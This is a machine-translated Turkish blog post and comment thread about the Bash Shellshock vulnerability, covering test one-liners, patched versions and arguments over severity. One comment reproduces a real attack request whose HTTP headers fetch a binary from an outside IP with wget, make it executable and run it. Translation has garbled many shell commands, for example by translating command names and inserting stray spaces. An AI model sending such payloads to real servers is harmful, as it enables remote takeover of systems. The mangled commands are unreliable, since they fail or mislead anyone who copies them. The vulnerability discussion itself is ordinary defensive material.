Bazı bloglarda orman yangını gibi çalışıyor, güvenlik blogu de katolik kardinal şapkası genel değişkenlerin kötüye kullanılması nedeniyle Bash'de bulunan bir güvenlik açığı hakkında. Orijinal habere göre:
“… Güvenlik açığı, özel hazırlanmış değerlere sahip ortam değişkenlerinin bash kabuğunu çağırmadan önce yaratılabilmesinden kaynaklanmaktadır. Bu değişkenler, kabuk çağrılır çağrılmaz çalıştırılan kodu içerebilir. Bu ayrıntılı değişkenlerin adı önemli değil, sadece içerikleri. Sonuç olarak, bu güvenlik açığı birçok bağlamda ortaya çıkar, örneğin:
- KuvvetKomut uzak kullanıcılar için sınırlı komut yürütme yetenekleri sağlamak için sshd yapılandırmalarında kullanılır. Bu kusur, bundan kaçınmak ve keyfi komut yürütme sağlamak için kullanılabilir. Bazı Git ve Subversion uygulamaları bu tür kısıtlanmış Kabuklar kullanır. Kullanıcılar zaten bir konsola erişebildiğinden, OpenSSH'nin düzenli kullanımı etkilenmez.
- Mod_cgi veya mod_cgid kullanan Apache sunucusu, CGI betikleri hem bash hem de spawn alt seviyelerinde yazılırsa etkilenir. Bu tür alt seviyeler, PHP'de bir system / exec kabuğu kullanılıyorsa, Python'da os.system / os.popen tarafından C'de system / popen tarafından örtük olarak kullanılır. (CGI modunda çalışırken) ve Perl'de open / system (komut dizesine bağlıdır).
- Mod_php ile çalışan PHP betikleri, alt seviyeler oynatılsa bile etkilenmez.
- DHCP istemcileri, potansiyel olarak kötü niyetli bir sunucudan alınan değerlerle sistemi yapılandırmak için kabuk komut dosyalarını çağırır. Bu, DHCP istemci makinesinde rastgele komutların genellikle kök olarak yürütülmesine izin verir.
- SUID ayrıcalıklarına sahip çeşitli arka plan yordamları ve programlar, kullanıcı tarafından ayarlanan / etkilenen ortam değişkeni değerleri ile kabuk komut dosyalarını çalıştırabilir ve rastgele komutların yürütülmesine olanak tanır.
- Bash'ı yorumlayıcı olarak kullanmak gibi bir kabuğa bağlanan veya bir kabuk betiği çalıştıran diğer herhangi bir uygulama. Değişkenleri dışa aktarmayan kabuk komut dosyaları, güvenilmeyen içeriği işleyip içinde depolasalar bile bu soruna karşı savunmasız değildir kabuk değişkenleri (sol) ve alt seviyeler açılır.
... "
Bash'ımın etkilenip etkilenmediğini nasıl anlarım?
Bu göz önüne alındığında, bu güvenlik açığından etkilenip etkilenmediğimizi anlamanın çok basit bir yolu var. Aslında, Antergo'larımı test ettim ve görünüşe göre bir sorunum yok. Yapmamız gereken bir terminal açmak ve şunu koymak:
env x = '() {:;}; echo savunmasız 'bash -c "echo bu bir testtir"
Bu şekilde çıkarsa sorunumuz yok:
env x = '() {:;}; echo savunmasız 'bash -c "echo bu bir testtir" bash: uyarı: x: işlev tanımını yok sayma girişimi bash: "x' için işlev tanımını içe aktarmada hata bu bir testtir
Sonuç farklıysa, yamayı önceden uygulayıp uygulamadıklarını görmek için tercih ettiğimiz dağıtımların güncelleme kanallarını kullanmak isteyebilirsiniz. Yani biliyorsun 😉
Güncellendi: Bu, Ubuntu 14:04 kullanan bir iş arkadaşının çıktısı:
env x = '() {:;}; echo savunmasız 'bash -c "echo bu bir testtir" savunmasız bu bir testtir
Gördüğünüz gibi, şimdiye kadar savunmasız.
14.04'ten Kubuntu 64'e sahibim ve ayrıca:
env x = '() {:;}; echo savunmasız 'bash -c "echo bu bir testtir"
savunmasız
bu bir test
Zaten güncelledim ama doğru değil. Ne yapalım?
Güncellemelerini bekleyin. Zaten eOS örneğin güncellendi .. 😀
Ne kadar tuhaf, bende de Kubuntu 14.04 var
$ ortam x = '() {:;}; echo savunmasız 'bash -c "echo bu bir testtir"
bash: uyarı: x: işlev tanımlama girişimi yok sayılıyor
bash: "x 'için işlev tanımını içe aktarmada hata
bu bir test
Bugün indirilen "bash" paketinin sürümünün:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
Benim durumumda, komutu vermek, bana terminalde sadece şunları veriyor:
>Her neyse, şaka şu ki, Debian Wheezy'yi güncelledim ve bu beni terk etti.
Wheezy hala hatanın ikinci kısmına karşı savunmasız durumda, en azından öğleden sonra (UTC -4: 30) sorun hala devam ediyordu: /
Bu sabah bir güncellemeyi uyguladıktan sonra, ne Slackware, ne Debian ne de Centos'un karşılık gelen bir güncelleme aldıklarından etkilenmediğini doğruladım.
Ubuntu'yu bu saatte hala savunmasız yapan nedir? Ve bana güvenli olduğunu söyle: D.
Ama Ubuntu'yu güncellemeyi denediniz mi?
Bugünün güncellemesiyle bunu da düzelttiler.
OK
Güvenlik uzmanları, 'Bash' güvenlik açığı konusunda uyarıyorlar; bu, bilgisayar korsanlarının bir sistemin tam kontrolünü ele geçirmek için Bash'deki bir hatayı kullanabileceği Heartbleed hatasından daha büyük bir tehdit oluşturabilir.
Siber güvenlik firması Rapid7'de bir mühendislik yöneticisi olan Tod Beardsley, kusurun ciddiyeti açısından 10 olarak derecelendirildiğini, yani maksimum etkiye sahip olduğunu ve kötüye kullanımın karmaşıklığı açısından "düşük" olarak derecelendirildiğini söyledi. bu, 'hacker' saldırıları için nispeten kolaydır. Beardsley, bu güvenlik açığını kullanarak, saldırganlar işletim sisteminin kontrolünü ele geçirebilir, gizli bilgilere erişebilir, değişiklikler yapabilir, ”dedi. "Bash'i kullanan sistemlere sahip herkes yamayı hemen uygulamalıdır," diye ekledi.
Bach'ın barındırıldığı ESKİ ARACI (GNU) SUNAN BU KIRILMAZLIKTAN ÖNCE, Linux Yazılımının GNU'dan kurtulup BSD aracı için değişiklik yapması daha uygun olacaktır.
Not: İfade özgürlüğümü SENSÖR YAPMAYIN, ... kimseye hakaret etmeyin, ... sildiğim bir önceki mesaj gibi mesajımı silmeyin !.
Oh lütfen aşırıya kaçmayın. BSD kullanan ve GNU, Linux veya bu projelerden herhangi bir şeyden nefret eden insanlardan nasıl nefret ediyorum.
Ben seninleyim ve bu deliğin ciddiyeti konusunda kesinlikle haklısın.
Bu sansür değildi, fazlalıktı (aynı yorumu gnome 3.14 gönderisinde de yapmıştınız)
«… Ve sömürünün KARMAŞIKLIĞI AÇISINDAN 'DÜŞÜK' olarak derecelendirildi, bu da hacker saldırıları için nispeten KOLAY olduğu anlamına geliyor»
Uyumsuzluk farkedilir mi?
Güvenlik açığından yararlanmak nasıl kolay olabilir ve aynı zamanda kullanımı çok karmaşık olduğu için "düşük" bir risk seviyesine sahip olabilir?
Bu, toplantıdan saatler sonra çözülen ve kalp kanaması gibi, istismar edildiğine dair hiçbir rapor bulunmayan bir hatadır (Elbette, bunun birbirini tanımak için daha az zamanı vardır).
Gerçek riskten çok magazin basını.
@Personel size önemsiz geliyor mu? Şimdi bana ne söyleyeceksin
GET./.HTTP/1.0
.User-Agent: .Thanks-Rob
.Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
Referans: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Kabul etmek:. * / *
$ dosya nginx
nginx: ELF 32-bit LSB çalıştırılabilir, Intel 80386, sürüm 1 (SYSV), statik olarak bağlı, GNU / Linux 2.6.18 için, çıkarılmış
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ sha256 toplam nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Bunun ne olduğunu biliyor musun? Biraz tehlikeli hiçbir şey ...
Durum oldukça ciddi, ancak oradan bir BSD seçeneği için bash kullanmayı bırakmanız gerektiğini söylemek için, en fazla zaten, zaten güncelleme zaten var, sadece güncellemeye dokunuyorum ve başka hiçbir şey yapmıyorum.
Şimdi PD, bence daha meslektaşı @robet, burada yöneticilerin kendilerini bu gibi yorumları silmeye adadıklarını düşünmüyorum çünkü evet, çünkü bu topluluğa katıldığımdan beri bu hissi yaşadım ve umarım öyle kalır.
Selamlar.
Aynı yorumu iki farklı gönderiye koyuyorsunuz. Hikayenin "kaynağını" tanıtmaya çalışıyorsanız, üzgünüz, burası burası değil.
Bash, Unix'ten (ve onun GNU klonundan) gelir. OSX gibi BSD tabanlı sistemler de etkileniyor ve Genbeta'ya göre henüz yama uygulamadılar. Aynı şekilde, Bash'e erişmek için yerel veya SSH aracılığıyla bir kullanıcı hesabına ihtiyacınız vardır.
@Personel:
1.- Hatadan etkilenebilecek hizmetlerin miktarı nedeniyle Seviye 10 (maksimum tehlike seviyesi) olarak sınıflandırılır. Ana notta, hatanın apache, sshd, suid izinlerine sahip programlar (xorg ve diğerleri) gibi hizmetleri etkileyebileceğini savunarak bu gerçeği çok açık hale getirdiler.
2.- Uygulama söz konusu olduğunda Düşük Zorluk Seviyesi olarak sınıflandırılır ve bunun en iyi örneği @elav'ın gönderiye yerleştirdiği güvenlik açığı testi komut dosyasıdır. Gördüğünüz gibi uygulaması çok zor değil.
Bilgide fazlalık görmüyorum (sadece bir Google çevirisi görüyorum) ve sorun oldukça ciddiyse ve sizin de dediğiniz gibi zaten bir yaması ve çözümü var, ancak bunun için değil, artık bir risk değil ve oldukça gerçek .
@petercheco / @Yukiteru
Beni yanlış anlamayın, bence benim eleştirimin Robet'in bağlantı kurduğu ve fazlalık değil uyumsuzluğa odaklandığı haberler olduğu açık.
Aynı şekilde, risk ve tehlike arasında ayrım yapmalıyız (ikincisinden bahsetmiyorum), bunları genellikle eş anlamlı olarak kullanıyoruz, ancak burada tehlike, hatanın hasar kapasitesi ve ortaya çıkma olasılığını riske atacaktır.
Benim durumumda, dünden girdim. E-posta listeleri veya bunun gibi bir şey değildi. Bir masaüstü dağıtımı içindi! Telefonu aldım ve sistem yöneticisine bağlantıyla bir mesaj gönderdim ve her şeyin yamalandığını onayladım, sonra özür dilerim ama bu haber beni uyutmuyor.
Diğer forumlarda Bash güvenlik açığından, "Debian ve Ubuntu'nun yayınladığı çözümden" bahsediyorlar, ancak bugün hala bir güvenlik açığının var olduğunu keşfettiler, bu nedenle çözüm eksikti, bundan bahsediyorlar!
Birçoğunun beni, insanları güvenlik açığının ciddiyetinden engellemenin basit gerçeği için eleştirdiğini görüyorum - seviye 10 maksimum tehlike ile nitelendirildi ve Bash'in barındırıldığı eski GNU aracından önce Linux Yazılımına olası çözümlerden bahsediyor - ki bu mükemmel GNU, Linux Yazılımında BSD aracıyla değiştirilebilir… Ben de Linux kullanıyorum ve Linux'u seviyorum!
Bash'in BSD'de varsayılan olarak kurulu gelmediğini açıklığa kavuşturuyorum, BSD'ye yüklenebilecek bir Linux uyumluluk paketi daha ... evet! Kullanıcıların çoğu bazen mesaja veya yoruma inanmadığından kaynak, haberleri kontrol edebilecekleri şekilde yerleştirilmiştir.
robet: Size defalarca söylediği gibi, yorumunuzu haberlerle birlikte zaten bir gönderiye koyuyorsunuz, yorum yaptığınız her gönderiye eklemek zorunda değilsiniz.
Bash'de, Bash'in savunmasız olması durumunda kullanılabilecek başka mermiler vardır. 😉
Robet, linux çekirdeğini BSD kullanıcı alanıyla birleştiren bir yazılım olmadığını bildiğim kadarıyla. En yakın şey tam tersidir, kBSD + GNU, Gentoo ve Debian'ın yaptığı gibi. Ayrıca GNU (1983), BSD'den (1977) sonra ise "eski moda" olarak adlandırılamaz. Her ikisi de unix köklerini paylaşırlar (ancak kodu paylaşmazlar), Bash Linus T henüz çocukken oluşturulmuş olsaydı "Linux uyumluluğu" olmazdı.
uff, şu anda debian testi "savunmasız", ne kadar büyük bir serimiz var ...
Debian Testini kullanıyorum ve bu dalda bile bash güncellemesini aldık
genbeta'ya göre başka bir güvenlik açığı daha var
http://seclists.org/oss-sec/2014/q3/685
danışma komutu
env X = '() {(a) => \' sh -c "echo savunmasız"; bash -c "echo Başarısız 2 hatası"
env X = '() {(a) => \' sh -c "echo savunmasız"; bash -c "echo Yığınlanmayan Hata 2" sh: X: satır 1: beklenmeyen öğenin yakınında sözdizimsel hata "= 'sh: X: satır 1:"' sh: `X 'sh için işlev tanımını içe aktarmada hata : savunmasız: komut yama uygulanmadan Hata 2 bulunamadıaynı ben.
Burada aynı. Ancak gönderideki orijinal hata (L) Ubuntu 14.04'te düzeltildi.
basit bir yankı yapmak yerine, ayrıcalık gerektiren bir talimatı yürütmesini sağlamaya çalışın, "yetersiz ayrıcalıklar" atıyorum ... bu hata ayrıcalıkları yükseltmiyor mu?
Haklısın!! iki güvenlik açığı vardı ...
Bana Linux Mint 17'de dün gece Ubuntu depolarına koydukları ikinci bash güncellemesinden sonra, bu komutu çalıştırırken kabuk şu çıktıyı sunuyor:
env X = '() {(a) => \' sh -c "echo savunmasız"; bash -c "echo Hatalı 2 yamalanmamış"
>
Önceki olanları güncellemek için Ubuntu depolarına yerleştirilen "bassh" sürümü şu şekildedir:
4.3-7ubuntu1.2
Debian'dan türetilmiş sistemlerde kurulu sürümü şu komutla kontrol edebilirsiniz:
dpkg -s bash | grep Sürümü
Her durumda, en azından Debian, Ubuntu ve Mint kullanıcıları için açıklığa kavuşturulmalıdır; #! / Bin / sh üstbilgisi ile betik çalıştıran programlarla fazla ilgilenmemelisiniz çünkü bu dağıtımlarda / bin / sh "bash" çağırmaz, ancak "tire" kabuğuna bağlanır (tire :)
Debian Alchemist Konsolu (çizgi) türetilmiş bir POSIX konsoludur
kül.
.
Komut dosyalarını bash'den daha hızlı yürüttüğü ve daha az bağımlılığı olduğu için
kütüphane sayısı (yazılım hatalarına karşı daha sağlam hale getirir veya
donanım), sistemlerde varsayılan sistem konsolu olarak kullanılır
Debian.
Bu nedenle, en azından Ubuntu'da "bash", kullanıcı girişi için bir kabuk olarak kullanılır (ayrıca kök kullanıcı için). Ancak herhangi bir kullanıcı, varsayılan olarak kullanıcı ve kök konsolları (terminaller) için başka bir kabuk kullanabilir.
Kabuğun komut dosyalarını (#! / Bin / sh) çalıştırıp çalıştırmadığını şu komutları uygulayarak kontrol etmek kolaydır:
dosya / bin / sh
(çıktı / bin / sh: sembolik bağlantı `` çizgi '' dir) komutu tekrarlayarak izlemeyi takip ediyoruz
dosya / bin / çizgi
(çıktı / bin / dash: ELF 64-bit LSB paylaşılan nesnesi, x86-64, sürüm 1 (SYSV) olduğundan bu yürütülebilir dosyadır.
Bunlar bir Linux Mint 17 dağıtımının sonuçlarıdır. Diğer Ubuntu / Debian tabanlı olmayan dağıtımlarda farklı olabilirler.
Varsayılan kabuğu değiştirmek zor değil !! kullanıcılar ve kök kullanıcı için farklı bir tane bile kullanabilirsiniz. Aslında sadece seçtiğiniz kabuğu kurmanız ve varsayılanı "chsh" komutuyla veya / etc / passwd dosyasını düzenleyerek değiştirmeniz gerekir ("passwd" dosyasını düzenlerken bir hatanın sonuçlarını bilmeyen kullanıcılar olsa da, Kendilerini çok iyi bilgilendirmeleri ve düzenlemeden önce, kurtarmanın gerekli olması ihtimaline karşı orijinalin bir kopyasını almaları daha iyidir).
"Tcsh" ile daha rahat hissediyorum (tcsh: :)
TENEX C konsolu, Berkeley csh'nin geliştirilmiş bir versiyonu
"Csh", Mac OS X'in birkaç yıl önce kullandığı şeydi. Apple'ın işletim sisteminin çoğunun FreeBSD kodu olduğu düşünüldüğünde mantıklı bir şey. Şimdi dün okuduklarıma göre, kullanıcı terminalleri için de "bash" sağlıyorlar gibi görünüyor.
SONUÇLAR:
- En çok kullanılan dağıtımlar için "bash" yamalı sürümleri zaten dağıtıldı
- "bash" 4.3-7ubuntu1.2 ve sonraki sürümleri bu hataları içermez
- OS * Linux'ta "bash" kullanmak zorunlu değildir
- Birkaç * Linux dağıtımı #! / Bin / sh ile "bash" arasında bağlantı kurar
- Alternatifler var: kül, çizgi, csh, tcsh ve daha fazlası
- Bir terminal açarken sistemin çağırdığı varsayılan kabuğu değiştirmek karmaşık değildir
- Çok az küçük cihaz (yönlendiriciler ve diğerleri) "bash" kullanır, çünkü çok büyüktür !!
Şu anda başka bir "bash" 4.3-7ubuntu1.3 sürümünü yükleyen başka bir güncelleme geldi.
Linux Mint 17 ve Ubuntu 14.04.1 LTS için
ArchLinux, bash-4.3.026-1 sürümüne girdi
@ Xurxo… .csh from Berkeley?,… Yukarıda söylediklerimi anlıyorsunuz ve Bash'in barındırıldığı eski GNU aracı yerine BSD “csh” kullanmak daha iyidir…. Bu araç, Linux Yazılımı için en iyisidir.
Sanırım bu hata
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
doğru?
Ve çözüm ne olabilir?
Dağıtımınızdaki paketi güncellemelerini bekleyin 😉
Böcek, Shellshock olarak vaftiz edildi
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
savunmasız
bu bir test
Henüz Ubuntu Studio 14.04 için yama yok
Ubuntu Studio 14.04.1'de onarıldı
wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo savunmasız 'bash -c "echo bu bir testtir"
bash: uyarı: x: işlev tanımlama girişimi yok sayılıyor
bash: "x 'için işlev tanımını içe aktarmada hata
bu bir test
Aslında küçük bir güvenlik açığı, eğer sizi etkiliyorsa, daha önce yanlış bir şey yapıyorsunuzdur ...
Çünkü kök ayrıcalıklarıyla çalışan bir bash betiği asla bir kullanıcıya gösterilmemelidir. Ve ayrıcalıkları olmadan koşarsa, böyle bir zorbalık yoktur. Aslında saçma. Çok korkutucu.
Aynısını düşünüyorum.
Kesinlikle, daha fazla gazete satmak veya daha fazla ziyaret almak için bu hatalar iyidir.
Ancak, bir bilgisayarı bu tür betiklerle ihlal etmek için önce bash'a erişmeniz ve ardından onu root olarak almanız gerektiğini söylemeyi her zaman unuturlar.
staff cgi ile bir apache kullanıyorsanız, sadece http başlıklarını çerez olarak koyun veya çalıştırmak istediğiniz işlevi yönlendirin. Hatta solucanları yaymak için bile kullanıldı.
ve birisi wget mishell.php ile bir sunucuya kabuk koyarsa, bu durumda ciddi değildir, değil mi?
Sana katılıyorum. Bunun Heartbleed'deki gibi büyük bir hata olduğunu düşündüm (NSA bile morbiditeyi körüklemek için kendini ödünç verdi), ama sonunda küçük bir hataydı.
Flash'ın çılgın tüketimi ve Pepper Flash Player'daki performans düşüşü ve zaten düzeltilmiş olanlar gibi gerçekten ciddi başka hatalar da var. Chrome ve Firefox'ta webRTC hatası.
Linux Mint 16'ya sahip kişiler için bir düzenleme olup olmadığını biliyor musunuz?
Debian testinde zaten düzeltildi.
5 dağıtımımda çözüldü, OS X'imde bilmiyorum.
Lütfen yorumumu sansürlemeyin, OS X dedim. Bu sitede OS X diyebilir misiniz bilmiyorum.
@yoyo, yamanın bazı detayları üzerinde hala çalıştıkları için çok korkmayın ... bunu deneyin ve sonra bana XD'de yürüyün
env x = '() {:;}; echo savunmasız 'bash -c "echo iphone 6 çöp kutusundan daha savunmasızım"
OS X'ten önce% 100 çözdülerse, herhangi bir şeye bahse girerim
Eh, Ars Technica'da bile OSX'teki Bash ile alaka düzeyini veriyorlar.
@Yoyo SPAM için OS X'te sonraki yorum .. lla tu kaydet .. 😛
@yoyo tırnakları düzeltmek için orada ... ama gerisini biliyorsun 😉
FSF konuştu
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Sanki OSX'e patronluk taslıyorlar (çünkü OSX hala Bash: v kullanıyor).
Her neyse, Debian Jessie ile bu kadar uğraşmak zorunda değilim.
Sistem, Cent OS'de savunmasızsa:
yum hepsini temizle && yum güncelleme bash
bash sürümünü görmek için:
rpm -qa | grep bash
Sürüm bash-4.1.2-15.el6_5.1'den daha eski ise, sisteminiz savunmasız olabilir!
Selamlar.
2. güvenlik açığı henüz çözülmedi
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "echo Başarısız 2 hatası"
Güncelleniyor ...
Gentoo'da bana bunun tersi oluyor, sadece ilk hataya karşı savunmasızım ama ikincisinde şunu anlıyorum:
[kod] sh: X: satır 1: beklenmeyen öğenin yakınında sözdizimi hatası `= '
sh: X: satır 1: ''
sh: `` X '' için işlev tanımını içe aktarırken hata
sh: savunmasız: komut bulunamadı
Hata 2 yamalanmadı
[/ Code]
Bash'in hataları düzeltilmiş kararlı bir sürümü olup olmayacağını bilmiyorum, ancak her iki durumda da bir sonraki emerge -sync && emerge –güncelleme –derin –with-bdeps = ve –newuse @world yaptığımda beklemede olacak (işte böyle adım tüm sistemi güncellerim).
4.2_p50 sürümüne sahip Gentoo'm var ve şu ana kadar tüm testleri geçti. Ortaya çıkan –sync'i deneyin ve sonra -av1 app-shells / bash'ı ortaya çıkarın ve ardından bash –version komutunu kullanarak 4.2_p50 sürümüne sahip olduğunuzu kontrol edin.
Bunu denedin mi
Ve yeni paketlerle, Red Hat tarafından sağlanan yeni bir test
cd / tmp; rm -f / tmp / echo; env 'x = () {(a) => \' bash -c "yankı tarihi"; cat / tmp / echo
sistemimiz savunmasız değilse ve doğru şekilde yamalanmışsa, bize bunun gibi bir şey vermesi gerekir
1 tarih
2 cat: / tmp / echo: Dosya veya dizin mevcut değil
Şu yolu deneyin:
env X = '() {(a) => \' sh -c "echo savunmasız"; bash -c "echo Hatası 2 yamalı"
alırım
savunmasız
Hata 2 yamalı.
Unut gitsin, satır kötü biçimlendirilmiş.
Harika! Güncellemeyi Slackware'imde zaten yaptım, teşekkürler!
Merhaba, bir soru ortaya çıkıyor, "SUSE Linux Enterprise Server 10" 64-bit ile birkaç sunucum var.
Savunmasız olduğum komutları çalıştırdığımda, iPhone 6 xD çöp kutusundan daha savunmasız oluyorum
SUSE'de paketleri güncellemek / kurmak konusunda yanılmıyorsam, "zypper" komutuyla yapılıyor.
Bazı sunucularda bana şunu söylüyor:
BIAL: ~ # zypper yukarı
-bash: zypper: komut bulunamadı
BIAL: ~ #
Ve diğerlerinde bu:
SMB: ~ # zypper yukarı
Sistem kaynakları geri yükleniyor…
SUSE Linux Enterprise Server 10 SP2-20100319-161944 için meta veriler ayrıştırılıyor…
RPM veritabanı ayrıştırılıyor ...
Özet:
Yapacak bir şey yok.
Ne yaptığım?
Bazılarının savunmasızlığın resmettiklerinden daha az olduğunu söylediğini biliyorum ama bende var ve küçük ya da büyük risklere maruz kalmak istemiyorum.
Selamlar.
İyi akşamlar, yazıda verdiğiniz kodu yapıştırmayı denedim, bunu anladım
sanders @ pc-sanders: ~ $ env x = '() {:;}; echo savunmasız 'bash -c "echo bu bir testtir"
bu bir test
sanders @ pc-sanders: ~ $
Lütfen dağıtımı nasıl yamalayacağımı açıklar mısınız, her gün güncelleme yaparım ve istem çıktısında değişiklik görmüyorum.
Çok teşekkür ederiz!